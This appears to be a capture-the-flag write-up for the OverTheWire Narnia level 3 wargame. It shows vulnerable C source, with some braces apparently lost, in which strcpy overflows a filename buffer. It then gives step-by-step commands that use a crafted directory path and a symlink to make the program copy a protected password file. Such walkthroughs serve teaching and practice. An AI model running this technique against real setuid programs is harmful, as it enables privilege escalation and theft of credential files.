Let's go back to another reverse engineering challenge from OverTheWire. Today we'll be dealing with a little different type of buffer overflow.


This time, we can start by firstly running the program.

[email protected]:/narnia$ ./narnia3
usage, ./narnia3 file, will send contents of file 2 /dev/null

But what can we see in the source code?

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){

        int  ifd,  ofd;
        char ofile[16] = "/dev/null";
        char ifile[32];
        char buf[32];

        if(argc != 2){
                printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]);

        /* open files */
        strcpy(ifile, argv[1]);
        if((ofd = open(ofile,O_RDWR)) < 0 ){
                printf("error opening %s\n", ofile);
        if((ifd = open(ifile, O_RDONLY)) < 0 ){
                printf("error opening %s\n", ifile);

        /* copy from file1 to file2 */
        read(ifd, buf, sizeof(buf)-1);
        write(ofd,buf, sizeof(buf)-1);
        printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile);

        /* close 'em */


This code may look complicated at first. But, after taking a closer look, we can see a potential buffer overflow vulnerability in ifile buffer, which is 32 bytes in size.

Because strcpy() does not perform any checks of the length of the input, if I give a file name longer than 32 bytes in length, I would be able to overwrite the ofile from /dev/null to another file.

It's known bug in the strcpy man pages:

If the destination string of a strcpy() is not large enough, then anything might happen. Overflowing fixed-length string buffers is a favorite cracker technique for taking complete control of the machine. Any time a program reads or copies data into a buffer, the program first needs to check that there's enough space. This may be unnecessary if you can show that overflow is impossible, but be careful: programs can get changed over time, in ways that may make the impossible possible.

Firstly, I'm going to create a file in /tmp directory, where possibly, the password for the next level will end up.

[email protected]:~$ cd /tmp
[email protected]:/tmp$ touch w3ndige

Then, I'm going to use Python and calculate how long the directory should be, together with /tmp/ beggining. We can also generate letters for our directory name.

>>> 32 - len("/tmp/")
>>> print("/tmp/" + "A"*27)

Now, let's move on and create a directory. But because its name will only fulfill the buffer, we have to add another one, which will overwrite the buffer.

[email protected]:/tmp$ mkdir AAAAAAAAAAAAAAAAAAAAAAAAAAW     
[email protected]:/tmp$ cd AAAAAAAAAAAAAAAAAAAAAAAAAAW
[email protected]:/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAW$ mkdir tmp
[email protected]:/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAW$ cd tmp

Now we can create a link using ln command on w3ndige file, to the password file. This means that when we cat the created file, it will actually cat the content of the password file “/etc/narnia_pass/narnia4”. We can also see, if it works, using ls command.

[email protected]:/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAW/tmp$ ln -s /etc/narnia_pass/narnia4 ./w3ndige
[email protected]:/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAW/tmp$ ls -lh
total 0
lrwxrwxrwx 1 narnia3 narnia3 24 Feb 28 20:18 w3ndige -> /etc/narnia_pass/narnia4

Now we have to pass this directory, as an argument, to the binary. Let's pray it works.

[email protected]:/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAW/tmp$ /narnia/narnia3 /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAW/tmp/w3ndige
copied contents of /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAW/tmp/w3ndige to a safer place... (/tmp/w3ndige)
[email protected]:/tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAW/tmp$ cat /tmp/w3ndige

And it worked, now we have the password!


Once gain thanks OverTheWire! I'm definitely looking forward to new challenges from Narnia, as I'm getting more and more interested in reverse engineering.